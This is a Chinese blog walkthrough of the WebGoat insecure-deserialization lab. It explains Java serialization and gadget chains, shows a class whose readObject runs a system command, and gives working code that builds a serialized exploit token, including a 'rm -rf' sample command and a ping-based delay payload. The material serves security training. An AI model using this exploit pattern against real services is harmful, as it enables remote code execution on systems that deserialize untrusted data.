webgoat-Insecure Deserialization不安全的序列化

A(8)不安全的反序列化

Concept

This lesson describes what is Serialization and how it can be manipulated to perform tasks that were not the original intent of the developer.
本节介绍了什么是序列化,如何控制它执行不该执行的任务。

Goals

The user should have a basic understanding of Java programming language

The user will be able to detect insecure deserialization vulnerabilities 发现不安全序列化漏洞

The user will be able to exploit insecure deserialization vulnerabilities 挖掘不安全序列化漏洞

Exploiting deserialization is slightly different in other programming languages such as PHP or Python, but the key concepts learnt here also applies to all of them
反序列化是将已序列化的数据还原回对象的过程。然而,如果反序列化是不安全的,那么恶意攻击者可以在序列化的数据中夹带恶意代码,从而在反序列化时执行这些代码。这种攻击被称为反序列化。
参考 https://www.runoob.com/java/java-serialization.html

什么是序列化

序列化是将某些对象转换为以后可以恢复的数据格式的过程。人们经常序列化对象,以便将它们保存到存储中,或作为通信的一部分发送。反序列化是从某种格式获取结构化数据并将其重建为对象的过程的逆过程。如今,最流行的序列化数据格式是 JSON。在此之前,它是 XML。

a:4:{i:0;i:132;i:1;s:7:“马洛里”;i:2;s:4:“用户”; i:3;s:32:“b6a8b3bea87fe0e05022f8f3c88bc960”;}
比如将一个对象实例e存储字节流employee.ser
在这里插入图片描述

原生序列化

许多编程语言都提供了序列化对象的本机功能。这些本机格式通常提供比 JSON 或 XML 更多的功能,包括序列化过程的可定制性。不幸的是,当对不受信任的数据进行操作时,这些本机反序列化机制的功能可能会被重新利用以产生恶意效果。已发现针对反序列化器的攻击允许拒绝服务、访问控制和远程代码执行攻击。

已知受影响的编程语言

PHP、Python、java、C、C++

数据,而不是代码

仅数据被序列化。代码本身没有序列化。反序列化创建一个新对象并复制字节流中的所有数据,以获得与序列化对象相同的对象。

最简单的利用

易受攻击的代码

以下是一个众所周知的 Java 反序列化漏洞示例。

InputStream is = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(is);
AcmeObject acme = (AcmeObject)ois.readObject();

它期待一个AcmeObject对象,但它将readObject()在转换发生之前执行。如果攻击者发现在 中执行危险操作的正确类readObject(),他可以序列化该对象并强制易受攻击的应用程序执行这些操作。

ClassPath 中包含的类

攻击者需要在ClassPath中找到一个支持序列化并在readObject()上具有危险实现的类。
如下代码中的 Runtime.getRuntime().exec(taskAction); 可以执行命令

这段代码是在Java中使用Runtime.getRuntime().exec()方法来执行一个系统命令。exec()方法会启动一个新的进程来执行指定的命令。

在您提供的代码中,taskAction变量包含要执行的命令。需要注意的是,taskAction必须是一个字符串类型的命令,并且不能包含任何空格。如果命令中包含空格,那么需要将整个命令用双引号括起来。

下面是一个简单的示例:

java
String taskAction = "dir"; // Windows命令  
Runtime.getRuntime().exec(taskAction);
这段代码会执行dir命令(在Windows系统中列出当前目录下的文件和文件夹),并在控制台输出结果。

需要注意的是,使用Runtime.getRuntime().exec()方法执行系统命令存在一定的安全风险,因为它允许执行任何系统命令。因此,应该谨慎使用此方法,并确保只在受信任的环境中执行命令。如果可能的话,建议使用更安全的方式来执行系统任务,例如使用Java提供的API或者第三方库。
package org.dummy.insecure.framework;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;

public class VulnerableTaskHolder implements Serializable {

        private static final long serialVersionUID = 1;

        private String taskName;
        private String taskAction;
        private LocalDateTime requestedExecutionTime;

        public VulnerableTaskHolder(String taskName, String taskAction) {
                super();
                this.taskName = taskName;
                this.taskAction = taskAction;
                this.requestedExecutionTime = LocalDateTime.now();
        }

        private void readObject( ObjectInputStream stream ) throws Exception {
        //deserialize data so taskName and taskAction are available
                stream.defaultReadObject();

                //blindly run some code. #code injection
                Runtime.getRuntime().exec(taskAction);
     }
}

挖掘漏洞

如果上面显示的java类存在,攻击者就可以序列化该对象并获得远程代码执行。

VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile");

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();

第4节 什么是Gadets Chain

在反序列化时发现一个运行危险操作的gadget是很少的(但也可能发生)。但是,当一个gadget被反序列化时,要找到一个在其他gatget上运行操作的gadget要容易得多,而第二个gadget在第三个gadget上运行更多操作,以此类推,直到触发真正危险的操作。可以在反序列化过程中使用的gadget集被称为Gadget Chain。

寻找gadgets来构建gadget chains是安全研究人员的一个活跃话题。这种研究通常需要花费大量的时间阅读代码。

0x05

一个反序列化的题,题目要求更改序列化对象,使页面响应延迟5秒。
参考 https://www.cnblogs.com/yokan/p/15232644.html
在这里插入图片描述
源码

ublic class InsecureDeserializationTask extends AssignmentEndpoint {

  @PostMapping("/InsecureDeserialization/task")
  @ResponseBody
  public AttackResult completed(@RequestParam String token) throws IOException {
    String b64token;
    long before;
    long after;
    int delay;

    b64token = token.replace('-', '+').replace('_', '/');

    try (ObjectInputStream ois =
        new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
      before = System.currentTimeMillis();
      Object o = ois.readObject();
      if (!(o instanceof VulnerableTaskHolder)) {
        if (o instanceof String) {
          return failed(this).feedback("insecure-deserialization.stringobject").build();
        }
        return failed(this).feedback("insecure-deserialization.wrongobject").build();
      }
      after = System.currentTimeMillis();
    } catch (InvalidClassException e) {
      return failed(this).feedback("insecure-deserialization.invalidversion").build();
    } catch (IllegalArgumentException e) {
      return failed(this).feedback("insecure-deserialization.expired").build();
    } catch (Exception e) {
      return failed(this).feedback("insecure-deserialization.invalidversion").build();
    }

    delay = (int) (after - before);
    if (delay > 7000) {
      return failed(this).build();
    }
    if (delay < 3000) {
      return failed(this).build();
    }
    return success(this).build();
  }
}

使用readObject读取序列化对象,并且判断是否为VulnerableTaskHolder的实例,如果属于该类实例,则计算after时间戳和before时间戳的时间差,如果<3000或者>7000都会失败,否则执行成功。
在readObject的实现中,可以看到直接使用Process p = Runtime.getRuntime().exec(taskAction); 执行了系统命令。
在这里插入图片描述
需要在VulnerableTaskHolder构造类中输入任务名称和命令。
在这里插入图片描述
所以需要调用VulnerableTaskHolder传入任务名称和命令。

在VulnerableTaskHolder所在目录新建一个文件如下,并执行。

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class SerialMain {

    static public void main(String[] args){
        try{
            VulnerableTaskHolder go = new VulnerableTaskHolder("ping", "ping -n 6 127.0.0.1");
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(go);
            oos.flush();
            byte[] exploit = bos.toByteArray();
            String exp = Base64.getEncoder().encodeToString(exploit);
            System.out.println(exp);
        } catch (Exception e){

        }
    }
}


使用win10部署的本地版本,因为win10不支持sleep,可以用ping。

在这里插入图片描述
执行SerialMain后生成token,复制到token处提交。 从console可以看到执行了ping命令,且task任务的响应也会变慢。
在这里插入图片描述
在这里插入图片描述

这个题,题目中给的一个字符串是无用的,需要根据源码构造代码解决。

参考:https://www.cnblogs.com/yokan/p/15232644.html

总结:不安全的序列化本质是调用readObject进行反序列化时,在readObject方法内实现了一些如执行系统命令的危险操作,如果对应类泄露,则攻击者可以进行命令注入。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值